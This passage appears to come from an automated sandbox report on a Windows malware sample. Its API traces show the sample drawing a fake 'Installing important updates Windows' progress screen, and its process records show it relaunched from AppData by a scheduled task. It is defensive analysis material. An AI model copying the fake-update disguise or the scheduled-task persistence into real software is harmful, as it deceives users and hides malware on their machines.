(lpMsg=0x18e548) returned 1 [0062.148] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.148] NtdllDefWindowProc_W () returned 0x0 [0062.149] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.163] NtdllDefWindowProc_W () returned 0x1 [0062.170] NtdllDefWindowProc_W () returned 0x0 [0062.170] NtdllDefWindowProc_W () returned 0x0 [0062.170] NtdllDefWindowProc_W () returned 0x0 [0062.170] NtdllDefWindowProc_W () returned 0x0 [0062.171] NtdllDefWindowProc_W () returned 0x0 [0062.171] TranslateAcceleratorW (hWnd=0x6011e, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.171] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.171] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.171] BeginPaint (in: hWnd=0x6011e, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x4101023c [0062.171] NtdllDefWindowProc_W () returned 0x0 [0062.172] NtdllDefWindowProc_W () returned 0x1 [0062.172] EndPaint (hWnd=0x6011e, lpPaint=0x18e2e0) returned 1 [0062.172] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.172] TranslateAcceleratorW (hWnd=0x301bc, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.172] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.172] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.172] BeginPaint (in: hWnd=0x301bc, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x2e0107f9 [0062.173] CreateSolidBrush (color=0x5b3ef) returned 0x19100816 [0062.173] FillRect (hDC=0x2e0107f9, lprc=0x18d9b8, hbr=0x19100816) returned 1 [0062.173] DeleteObject (ho=0x19100816) returned 1 [0062.173] DrawIcon (hDC=0x2e0107f9, X=7, Y=7, hIcon=0x60125) returned 1 [0062.173] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x250a082d [0062.173] SelectObject (hdc=0x2e0107f9, h=0x250a082d) returned 0x18a002e [0062.173] SetBkMode (hdc=0x2e0107f9, mode=1) returned 2 [0062.173] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0062.173] TextOutW (hdc=0x2e0107f9, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0062.174] SelectObject (hdc=0x2e0107f9, h=0x18a002e) returned 0x250a082d [0062.174] CreateSolidBrush (color=0xffffff) returned 0x1a100816 [0062.174] FillRect (hDC=0x2e0107f9, lprc=0x18d9a8, hbr=0x1a100816) returned 1 [0062.174] DeleteObject (ho=0x1a100816) returned 1 [0062.174] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x100a080b [0062.174] SelectObject (hdc=0x2e0107f9, h=0x100a080b) returned 0x18a002e [0062.174] SetBkMode (hdc=0x2e0107f9, mode=1) returned 1 [0062.174] lstrlenW (lpString="Getting your update ready.") returned 26 [0062.174] TextOutW (hdc=0x2e0107f9, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0062.174] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0062.174] TextOutW (hdc=0x2e0107f9, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0062.174] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0062.174] TextOutW (hdc=0x2e0107f9, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0062.174] SelectObject (hdc=0x2e0107f9, h=0x18a002e) returned 0x100a080b [0062.174] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x70a0834 [0062.175] SelectObject (hdc=0x2e0107f9, h=0x70a0834) returned 0x18a002e [0062.175] SetBkMode (hdc=0x2e0107f9, mode=1) returned 1 [0062.175] SetTextAlign (hdc=0x2e0107f9, align=0x6) returned 0x0 [0062.175] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0062.175] lstrlenW (lpString="Percent complete: 4%") returned 20 [0062.175] TextOutW (hdc=0x2e0107f9, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0062.175] SelectObject (hdc=0x2e0107f9, h=0x18a002e) returned 0x70a0834 [0062.175] EndPaint (hWnd=0x301bc, lpPaint=0x18d9c8) returned 1 [0062.175] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.175] TranslateAcceleratorW (hWnd=0x301b6, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.175] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.175] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.181] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.181] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.181] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.181] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.182] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.255] TranslateAcceleratorW (hWnd=0x201f0, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.255] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.255] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.255] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.372] TranslateAcceleratorW (hWnd=0x6011e, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.372] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.372] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.372] BeginPaint (in: hWnd=0x6011e, lpPaint=0x18e2e0 | out: lpPaint=0x18e2e0) returned 0x4101023c [0062.372] NtdllDefWindowProc_W () returned 0x0 [0062.373] NtdllDefWindowProc_W () returned 0x1 [0062.373] EndPaint (hWnd=0x6011e, lpPaint=0x18e2e0) returned 1 [0062.373] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.374] TranslateAcceleratorW (hWnd=0x301bc, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.374] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.374] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.374] BeginPaint (in: hWnd=0x301bc, lpPaint=0x18d9c8 | out: lpPaint=0x18d9c8) returned 0x11010819 [0062.374] CreateSolidBrush (color=0x5b3ef) returned 0x1b100816 [0062.374] FillRect (hDC=0x11010819, lprc=0x18d9b8, hbr=0x1b100816) returned 1 [0062.374] DeleteObject (ho=0x1b100816) returned 1 [0062.374] DrawIcon (hDC=0x11010819, X=7, Y=7, hIcon=0x60125) returned 1 [0062.374] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x2f0a083d [0062.374] SelectObject (hdc=0x11010819, h=0x2f0a083d) returned 0x18a002e [0062.374] SetBkMode (hdc=0x11010819, mode=1) returned 2 [0062.374] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0062.374] TextOutW (hdc=0x11010819, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0062.375] SelectObject (hdc=0x11010819, h=0x18a002e) returned 0x2f0a083d [0062.375] CreateSolidBrush (color=0xffffff) returned 0x1c100816 [0062.375] FillRect (hDC=0x11010819, lprc=0x18d9a8, hbr=0x1c100816) returned 1 [0062.375] DeleteObject (ho=0x1c100816) returned 1 [0062.375] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x150a0832 [0062.375] SelectObject (hdc=0x11010819, h=0x150a0832) returned 0x18a002e [0062.375] SetBkMode (hdc=0x11010819, mode=1) returned 1 [0062.375] lstrlenW (lpString="Getting your update ready.") returned 26 [0062.375] TextOutW (hdc=0x11010819, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0062.375] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0062.375] TextOutW (hdc=0x11010819, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0062.375] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0062.375] TextOutW (hdc=0x11010819, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0062.375] SelectObject (hdc=0x11010819, h=0x18a002e) returned 0x150a0832 [0062.375] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xa0a0847 [0062.376] SelectObject (hdc=0x11010819, h=0xa0a0847) returned 0x18a002e [0062.376] SetBkMode (hdc=0x11010819, mode=1) returned 1 [0062.376] SetTextAlign (hdc=0x11010819, align=0x6) returned 0x0 [0062.376] wsprintfW (in: param_1=0x18da08, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0062.376] lstrlenW (lpString="Percent complete: 4%") returned 20 [0062.376] TextOutW (hdc=0x11010819, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0062.376] SelectObject (hdc=0x11010819, h=0x18a002e) returned 0xa0a0847 [0062.376] EndPaint (hWnd=0x301bc, lpPaint=0x18d9c8) returned 1 [0062.376] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.376] TranslateAcceleratorW (hWnd=0x301b6, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.376] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.376] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.378] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.378] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.378] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.378] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.379] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.473] TranslateAcceleratorW (hWnd=0x201ee, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.473] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.473] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.473] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.489] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.489] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.489] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.489] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.536] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.536] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.536] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.536] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.536] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.536] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.536] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.537] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.582] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.583] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.583] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.583] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.583] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.583] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.583] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.584] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.629] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.629] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.629] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.629] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.629] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.629] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.629] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.630] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.676] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.676] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.676] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.676] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.676] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.676] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.676] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.677] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.739] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.739] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.739] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.739] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.739] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.739] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.739] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.740] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.785] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.785] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.785] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.785] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.785] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.785] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.785] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.786] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.821] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.821] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.821] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.821] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.821] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.821] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.821] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.822] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.907] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.907] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.907] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.907] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.907] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.907] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.907] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.908] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.920] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.920] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.920] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.920] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.920] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.920] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.920] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.921] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.957] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.957] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.957] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.957] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.957] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.957] TranslateMessage (lpMsg=0x18e548) returned 0 [0062.957] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0062.958] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.012] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0063.012] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.012] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.012] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.012] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0063.012] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.012] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.013] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.260] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0063.260] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.260] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.260] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.260] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0063.260] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.260] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.261] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.285] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0063.285] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.285] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.285] GetMessageW (lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0063.431] NtdllDefWindowProc_W () returned 0x1 [0063.431] NtdllDefWindowProc_W () returned 0x1 [0063.432] NtdllDefWindowProc_W () returned 0x0 [0063.432] NtdllDefWindowProc_W () returned 0x0 [0063.433] NtdllDefWindowProc_W () returned 0x0 [0063.433] NtdllDefWindowProc_W () returned 0x1 [0063.434] NtdllDefWindowProc_W () returned 0x0 [0063.434] NtdllDefWindowProc_W () returned 0x0 [0063.434] NtdllDefWindowProc_W () returned 0x0 [0063.434] NtdllDefWindowProc_W () returned 0x0 [0063.434] NtdllDefWindowProc_W () returned 0x2 [0063.434] NtdllDefWindowProc_W () returned 0x0 Thread: id = 65 os_tid = 0xa64 [0055.143] timeGetTime () returned 0x1c975 [0055.143] timeGetTime () returned 0x1c975 [0055.143] Sleep (dwMilliseconds=0x3e8) [0056.187] timeGetTime () returned 0x1cd6b [0056.187] timeGetTime () returned 0x1cd6b [0056.187] Sleep (dwMilliseconds=0x3e8) [0057.216] timeGetTime () returned 0x1d161 [0057.216] timeGetTime () returned 0x1d161 [0057.216] Sleep (dwMilliseconds=0x3e8) [0058.230] timeGetTime () returned 0x1d557 [0058.230] timeGetTime () returned 0x1d557 [0058.230] Sleep (dwMilliseconds=0x3e8) [0059.306] timeGetTime () returned 0x1d94d [0059.306] timeGetTime () returned 0x1d94d [0059.306] Sleep (dwMilliseconds=0x3e8) [0061.631] timeGetTime () returned 0x1dd43 [0061.631] timeGetTime () returned 0x1dd43 [0061.631] Sleep (dwMilliseconds=0x3e8) [0062.646] timeGetTime () returned 0x1e139 [0062.646] timeGetTime () returned 0x1e139 [0062.646] Sleep (dwMilliseconds=0x3e8) Process: id = "11" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x27d7f000" os_pid = "0xaa4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "5" os_parent_pid = "0x9a4" cmd_line = "taskeng.exe {FB1509EA-5700-4FAF-8375-2764FDDD9411} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 66 os_tid = 0xaa8 Thread: id = 67 os_tid = 0xaac Thread: id = 68 os_tid = 0xab0 Thread: id = 69 os_tid = 0xab4 Thread: id = 70 os_tid = 0xab8 Thread: id = 71 os_tid = 0xabc Thread: id = 72 os_tid = 0xac0 Process: id = "12" image_name = "ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe" page_root = "0x1b8ef000" os_pid = "0xac4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xaa4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 123 os_tid = 0xb0c Thread: id = 124 os_tid = 0xac8 Process: id = "13" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0xaa4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 73 os_tid = 0xaa0 Thread: id = 74 os_tid = 0xa9c Thread: id = 75 os_tid = 0xa94 Thread: id = 76 os_tid = 0xa90 Thread: id = 77 os_tid = 0xa8c Thread: id = 78 os_tid = 0xa88 Thread: id = 79 os_tid = 0xa84 Thread: id = 80 os_tid = 0xa80 Thread: id = 81 os_tid = 0xa7c Thread: id = 82 os_tid = 0xa78 Thread: id = 83 os_tid = 0xa74 Thread: id = 84 os_tid = 0xa70 Thread: id = 85 os_tid = 0xa6c Thread: id = 86 os_tid = 